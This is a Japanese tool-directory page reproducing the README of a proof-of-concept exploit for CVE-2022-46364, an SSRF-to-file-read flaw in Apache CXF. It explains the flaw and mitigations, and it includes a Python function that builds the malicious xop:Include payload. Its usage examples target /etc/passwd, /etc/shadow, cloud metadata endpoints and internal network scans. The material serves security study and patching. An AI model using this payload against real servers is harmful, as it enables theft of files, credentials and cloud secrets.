Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/cybermaksx/cve-2022-46364-proof-of-the-concept
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト学習と教育
GitHubcybermaksx/cve-2022-46364-proof-of-the-concept

CVE-2022-46364-Proof-of-the-concept

この脆弱性により、攻撃者はMTOM/XOPリクエストを受け付けるApache CXF Webサービスに対してSSRF(サーバーサイドリクエストフォージェリ)攻撃を実行できます。問題は、xop:Includeのhref属性が解析される方法に存在し、サーバーが任意のURLをリクエストできるようになります。

リポジトリを見る
25ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-46364: Apache CXF MTOM XOP:Include SSRFからLFIへのエクスプロイト

⚠️ 免責事項

このツールは教育目的および許可されたセキュリティテスト専用です

この概念実証エクスプロイトは、セキュリティ専門家が脆弱性を理解しシステムを保護するための教育目的で提供されています。不正なコンピュータシステムへのアクセスは違法です。作者はこのツールの誤用や損害について一切の責任を負いません。テストを実施する前に、システム所有者から明示的な書面による許可を得る必要があります。このツールを使用することで、適用されるすべての法律を遵守することに同意したものとみなします。


📋 目次

  1. 概要
  2. 脆弱性の詳細
  3. 技術的な詳細
  4. エクスプロイトの使用方法
  5. インストールと要件
  6. 緩和策
  7. 参考情報とクレジット

📌 概要

属性値
CVE IDCVE-2022-46364
GHSA IDGHSA-x3x3-qwjq-8gj4
脆弱性の種類サーバサイドリクエストフォージェリ (SSRF) → ローカルファイルインクルージョン (LFI)
影響を受けるソフトウェアApache CXF < 3.5.5, Apache CXF < 3.4.10
深刻度重大
CVSSスコア9.8 (重大)
攻撃ベクトルネットワーク
認証不要
パッチバージョンApache CXF 3.5.5+, 3.4.10+

このエクスプロイトは、Apache CXFのMTOM(メッセージ伝送最適化メカニズム)実装における重大なSSRF脆弱性を悪用し、ローカルファイルインクルージョン (LFI) および内部ネットワークスキャンを実現します。


🔬 脆弱性の詳細

核心的な問題

Apache CXFは、MTOMエンコードされたSOAPメッセージを処理する際に、xop:Include要素内のhref属性を誤って検証します。ライブラリはJavaのURLConnectionを使用してURIを解決しますが、プロトコル制限が適切に行われていないため、攻撃者は以下を指定できます:

  • file:// - ローカルファイルの読み取り (LFI)
  • http:// / https:// - 内部ネットワークリクエスト (SSRF)
  • ftp:// - FTPリクエスト (さらなる悪用の可能性)

なぜ重要なのか

この脆弱性が特に危険な理由:

  1. 認証不要 - 攻撃者はアクセス可能な任意のSOAPエンドポイントを標的にできます
  2. 特別な権限不要 - サーバは自身の権限でリクエストを実行します
  3. 情報漏洩 - クラウドメタデータ(AWS、GCP、Azure)、設定ファイル、ソースコードを公開する可能性があります
  4. ネットワークピボット - 脆弱なサーバが内部ネットワーク偵察のプロキシとなります

影響を受ける設定

以下の条件を満たすApache CXFデプロイメント:

  • MTOMエンコードされたSOAPメッセージを受け入れる
  • 任意の型のパラメータを持つWebサービメソッドが少なくとも1つ存在する
  • バージョン3.5.5未満(メインブランチ)または3.4.10未満(レガシーブランチ)を使用している

🧠 技術的な詳細

プロトコルの背景:MTOMとXOP

MTOM(Message Transmission Optimization Mechanism)は、SOAPメッセージ内のバイナリデータ送信を最適化するW3C標準です。XOP(XML-binary Optimized Packaging)を使用してバイナリデータの参照を含めます:

root@kitploit:~
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <myData>
            <xop:Include href="cid:[email protected]" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </myData>
    </soap:Body>
</soap:Envelope>

通常、hrefにはMIMEパートへのCID(Content-ID)参照が含まれます。しかし、Apache CXFのAttachmentUtilクラスは、href値を適切にサニタイズせずに汎用URIとして処理します。

脆弱なコードパス

  1. リクエスト解析:

    • CXFはContent-Type: application/xop+xmlを持つmultipart/related HTTPリクエストを受信
    • AttachmentUtil.getAttachmentObject()がxop:Include要素を処理
  2. URI解決:

    • 脆弱なメソッドは直接new URL(href).openStream()を呼び出す
    • file://プロトコルのブロックは行われない
    • ネットワーク制限はなし(例:内部IP範囲の検証なし)
  3. レスポンスへの埋め込み:

    • 取得されたコンテンツはBase64エンコードされ、SOAPレスポンスに埋め込まれる
    • 攻撃者はSOAPエンベロープ内でデータを受け取る

コードスニペット(脆弱なパターン)

root@kitploit:~
// CXF < 3.5.5における脆弱なコードの簡略表現
public DataHandler getAttachmentObject(String href) {
    URL url = new URL(href);  // プロトコル検証なし!
    return new DataHandler(url.openStream());
}

LFIが機能する理由

file://プロトコルも同じコードパスに従います:

  • file:///etc/passwd → Javaが/etc/passwdをファイルストリームとして開く
  • ファイル内容が添付ファイルとして返される
  • CXFプロセスユーザーの権限以外のファイルシステム制限はない

ネットワークスキャン機能

IPとポートを反復処理することで、攻撃者は以下を実行できます:

  • 内部サービスの発見
  • クラウドメタデータエンドポイント(169.254.169.254)へのアクセス
  • ネットワークセグメンテーション制御の回避

🛠️ エクスプロイトの使用方法

コマンド構文

root@kitploit:~
usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]

CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only

options:
  -h, --help            ヘルプメッセージを表示して終了
  -t TARGET, --target TARGET
                        ターゲットベースURL(例:http://192.168.1.100:8080)
  -e ENDPOINT, --endpoint ENDPOINT
                        Webサービスエンドポイントパス(デフォルト:/services/Service)
  -u URL, --url URL     SSRF用の外部URL(例:http://169.254.169.254/latest/meta-data/)
  -f FILE, --file FILE  LFI用のローカルファイルパス(例:/etc/passwd, C:\\Windows\\win.ini)
  -s SCAN, --scan SCAN  CIDR表記で内部ネットワーク範囲をスキャン(例:192.168.1.0/24)

引数の説明

引数説明例
-t, --target必須。ターゲットApache CXFサービスのベースURLhttp://10.10.10.50:8080
-e, --endpointオプション。SOAPエンドポイントパス/services/UserManagement
-u, --urlSSRF経由で取得するHTTP/HTTPS URLhttp://169.254.169.254/latest/user-data
-f, --fileLFI経由で読み取るローカルファイルパス/etc/shadow, C:\ProgramData\secret.txt

📦 インストールと要件

前提条件

root@kitploit:~
# Python 3.6以上が必要
python --version

インストール手順

root@kitploit:~
# リポジトリのクローン
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC

### 依存関係

requests>=2.28.0 urllib3>=1.26.0

root@kitploit:~

---

### コア実装の詳細

#### 1. MTOMペイロードの構築
```python
def create_mtom_payload(uri):
    """xop:Includeを含むmultipart/related MTOMメッセージを作成"""
    soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <vulnerableParam>
            <xop:Include href="{uri}" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </vulnerableParam>
    </soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
    return soap_part

🛡️ 緩和策

公式修正

パッチ適用済みバージョンにアップグレード:

root@kitploit:~
<!-- Mavenプロジェクトの場合 -->
<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-rt-frontend-jaxws</artifactId>
    <version>3.5.5</version> <!-- またはレガシーの場合は3.4.10 -->
</dependency>

回避策(パッチ適用が不可能な場合)

  1. MTOMを完全に無効化(必要ない場合):

    root@kitploit:~
    <jaxws:endpoint ...>
        <jaxws:properties>
            <entry key="mtom-enabled" value="false"/>
        </jaxws:properties>
    </jaxws:endpoint>
    
  2. ネットワークレベルの制御:

    • CXFアプリケーションサーバからのアウトバウンド接続を制限
    • ファイアウォールを使用してアプリケーション層からの内部IP範囲へのアクセスを防止
    • エグレスフィルタリングを実装
  3. Webアプリケーションファイアウォール (WAF) ルール:

    • xop:Includeを含み、hrefがfile://または内部IPアドレスを指すリクエストをブロック

📚 参考情報とクレジット

最初の発見者

この脆弱性は以下の研究者によって発見され、責任を持って開示されました:

  • Jonathan Leitschuh - セキュリティ研究者
  • Nick Tait - セキュリティ研究者

公式アドバイザリ

  • Apache CXF セキュリティアドバイザリ
  • GitHub Advisory Database: GHSA-x3x3-qwjq-8gj4
  • NVD: CVE-2022-46364

関連リソース

  • MTOM仕様 (W3C)
  • XOP仕様 (W3C)
  • Apache CXFドキュメント

謝辞

  • 迅速な対応とパッチを提供してくれたApache CXFチーム
  • アドバイザリを公開したGitHub Security Lab
  • 責任ある開示の実践を守るセキュリティコミュニティ

📄 ライセンス

このツールは教育目的のみで提供されています。不正使用は禁止されています。

root@kitploit:~
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

最終更新日: 2026年3月
バージョン: 1.0
連絡先: セキュリティに関する懸念や質問がある場合は、GitHubでIssueを開いてください。


この文書は責任あるセキュリティ研究の一環です。テストを行う前に必ず適切な許可を取得してください。

ツールをダウンロード